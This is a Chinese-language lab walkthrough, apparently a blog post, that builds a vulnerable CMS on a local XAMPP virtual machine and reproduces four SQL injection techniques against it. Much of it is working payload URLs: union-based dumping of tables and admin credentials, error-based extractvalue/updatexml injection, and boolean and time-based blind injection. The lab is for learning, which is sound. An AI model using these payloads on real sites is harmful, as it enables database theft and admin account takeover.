漏洞说明:
SQL注入就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
利用此漏洞能够看到数据库所有表数据,如用户数据表可获取用户名、密码、邮箱等数据,进而通过获取到的邮箱与密码,可碰撞登陆邮箱获取交流邮件等。
环境说明
相关工具
复现过程:
第一步:搭建实验环境。
1、准备一台windows2008虚拟机,并将其设置为桥接状态,并查看ip地址。
我所实验的内网网段为10.10.20.0/24
2、将我们的xampp工具复制到08虚拟机中,并且双击安装。
安装过程一直点击next即可,具体操作可以查看视频步骤,安装完成后点击finish。
语言直接点save即可。
3、出现如下界面,需要做点优化。
点击最左侧service下方的前两个X号,出现提示,点击yes,之后图标修改为√号。
之后点击中间的Actions那一列下的Apache和MySQL按钮,启动服务,然后关闭。
4、用真实机的浏览器,访问2008虚拟机的ip地址,出现以下界面,则说明xampp安装成功,并且已经开启了apache服务
打开windows2008虚拟机的C盘,将多余的文件删除即可。
然后进入到xampp文件夹,找到htdocs文件夹点击进入,在里面新建一个文件夹取名为bak,并且将htdocs原有的文件拖到bak文件夹中。
在真实机中的浏览器中刷新页面,出现Object not found!将/dashboard/去掉,便在根目录下有一个bak的文件夹
5、打开C盘根目录下的xampp文件夹,找到名为mysql的文件夹,进入文件夹后,有一个名为bin的文件夹,双击进入,将文件的后缀名显示出来可以看到都是.exe的文件
将此文件夹所在的路径复制下来即:C:\\\\xampp\\mysql\\bin
6、修改环境变量,使mysql命令可以在cmd的命令中运行。
具体操作为:
右键计算机à属性à高级系统设置à环境变量à找到下方的系统变量Pathà选定后,点击编辑à点击右箭头,在最后添加;+刚才复制的路径。如:(; C:\\\\xampp\\mysql\\bin)
修改完环境变量后,重启cmd命令,之后输入mysql -uroot。如果出现如下界面,说明环境变量修改成功。就可以输入数据库的命令使用。
7、将准备好的cms压缩包,复制到windows2008的C盘下的htdocs目录下。
先将压缩包中的第一个文件夹复制过去,然后打开cms文件夹,再将剩下的两个文件复制到cms文件夹下。
8、将install.sql导入到数据库中。
show databases; 查看都有哪些数据库
create database cms; 创建一个名为cms的数据库
use cms; 使用cms数据库
source C:\\\\\\xampp\\\\htdocs\\\\cms\\\\install.sql; 将install.sql文件导入到数据库
show tables; 查看cms数据库中的表名
此时,我们刷新真实机的浏览器的页面,在bak文件夹下面有个cms文件夹,双击打开看到一个文章管理系统界面,说明我们的实验环境搭建完成了。
第二步:用SQL注入的4中注入手法进行漏洞验证,最终目的能获取管理员的账号密码,并且能成功登陆管理员后台。
1、 联合查询
http://10.10.20.60/cms/show.php?id=33’ 出现报错
http://10.10.20.60/cms/show.php?id=33 and 1=1 页面正常显示
http://10.10.20.60/cms/show.php?id=33 and 1=2 页面不正常显示
说明该网站存在SQL注入漏洞。
http://10.10.20.60/cms/show.php?id=33 order by 15 页面正常显示
http://10.10.20.60/cms/show.php?id=33 order by 16 页面报错
http://10.10.20.60/cms/show.php?id=-33 +UNION+ALL+SELECT+ 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
发现页面有回显:3和11
http://10.10.20.60/cms/show.php?id=-33 +UNION+ALL+SELECT+ 1,2,database(),4,5,6,7,8,9,10,version(),12,13,14,15 爆数据库名和查看数据库版本
http://10.10.20.60/cms/show.php?id=-33
+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,hex(group_concat (table_name)),12,13,14,15 from information_schema.tables where table_schema=database() 爆数据库中的所有表名,出现一段数字,复制下来进行解码
新建一个窗口,中间位置有个0xHEX,点击左边的箭头为解码,将数字复制到解码栏中。
然后,在空白界面出现解码后的数据库中的所有表名。
cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users
爆表名为cms_users中的所有字段名。
http://10.10.20.60/cms/show.php?id=-33 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'
同样出现一串数字,步骤和上一步一样,进行复制解码。
得到字段名:
userid,username,password
http://10.10.20.60/cms/show.php?id=-33 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15 from cms_users 脱库
到此,我们得到了用户名为admin,密码使用的为MD5加密值,我们百度搜索MD5在线解密即可。
至此,我们得到用户名:admin,密码:123456
尝试登录后台管理账户,看是否能登录成功
成功登录到了后台管理账户。
2、 报错注入;
http://10.10.20.60/cms/show.php?id=33’
当我们添加一个’时,会有报错提示,此时我们可以考虑报错注入。
公式:(死记住就可)
(1) http://10.10.20.60/cms/show.php?id=-33 and extractvalue(1,concat('^',(想要执行的SQL语句),'^'))
(2) http://10.10.20.60/cms/show.php?id=-33 and updatexml(1,concat('^',(想要执行的SQL语句),'^'),1)
http://10.10.20.60/cms/show.php?id=-33 and extractvalue(1,concat('^',(select database()),'^'))
http://10.10.20.60/cms/show.php?id=-33 and extractvalue(1,concat('^',(select version()),'^'))
http://10.10.20.60/cms/show.php?id=-33 and updatexml(1,concat('^',(select version()),'^'),1)
http://10.10.20.60/cms/show.php?id=-33 and updatexml(1,concat('^',(select database()),'^'),1)
3、 布尔盲注;
通过SQL语句验证数据库的名字长度为几位,多尝试,最长26位
http://10.10.20.60/cms/show.php?id=33 and length(database())>3 页面不正常显示
http://10.10.20.60/cms/show.php?id=33 and length(database())=3 页面正常显示
http://10.10.20.60/cms/show.php?id=33 and length(database())<3 页面不正常显示
由此我们可以确定数据库的名字位数位3位。
下面我们根据ascii码表,来爆破数据库名的第一个单词
http://10.10.20.60/cms/show.php?id=33 and ascii(substr(database(),1,1))<99 页面不正常显示
http://10.10.20.60/cms/show.php?id=33 and ascii(substr(database(),1,1))=99 页面正常显示
http://10.10.20.60/cms/show.php?id=33 and ascii(substr(database(),1,1))>99 页面不正常显示
等于99时,页面正常,说明数据库的第一字母的ascii码值为99
通过查看ascii码表,可以看到99对应的为小写字母c
依此类推,利用这种方法即可爆出数据库名,但工作量较大,建议写个python脚本跑一下,可以提高效率。
4、 时间盲注;
http://10.10.20.60/cms/show.php?id=33 and sleep(5)
使浏览器沉睡5s,在执行命令
可以看到上方浏览器在转了5s之后,才执行完成,通过F12,网络时间线可以看到为5s左右。
http://10.10.20.60/cms/show.php?id=33 and if(length(database())=3,sleep(5),0)
当数据库的名字长度为3位时,浏览器沉睡5s在执行命令。
数据库的名字长度不为3位数时,浏览器直接执行命令。
在确定了数据库的名字位数后,下一步,我们和布尔盲注确定数据库第一位字母的思路相同。
http://10.10.20.60/cms/show.php?id=33 and if(ord(substr(database(),1,1))=99,sleep(5),0)
(当数据库的第一个字母的ascii码值为99的时候,浏览器沉睡5s在执行命令;否则,浏览器将直接执行命令)
当数据库第一个字母的ascii码值不是99时,为以下情况:
由此,我们可以确定,数据库名字的第一个字母的ascii码值为99,通过上网查询ascii码对照表,我们知道了acsii码为99的对应的为小写字母c。
依此类推,我们用相同的办法得到数据库的第二位字母、第三位字母…
到此,我们对此网站进行的SQL注入四大手法的漏洞复现过程基本完成。
注:
以上实验环境及实验过程,在实现漏洞复现的过程中没有发现任何问题,如依据本文档内容进行复现过程中发现任何问题,请自行检查自己的实验环境及实验步骤是否出现问题!!!
閱讀更多 id1188 的文章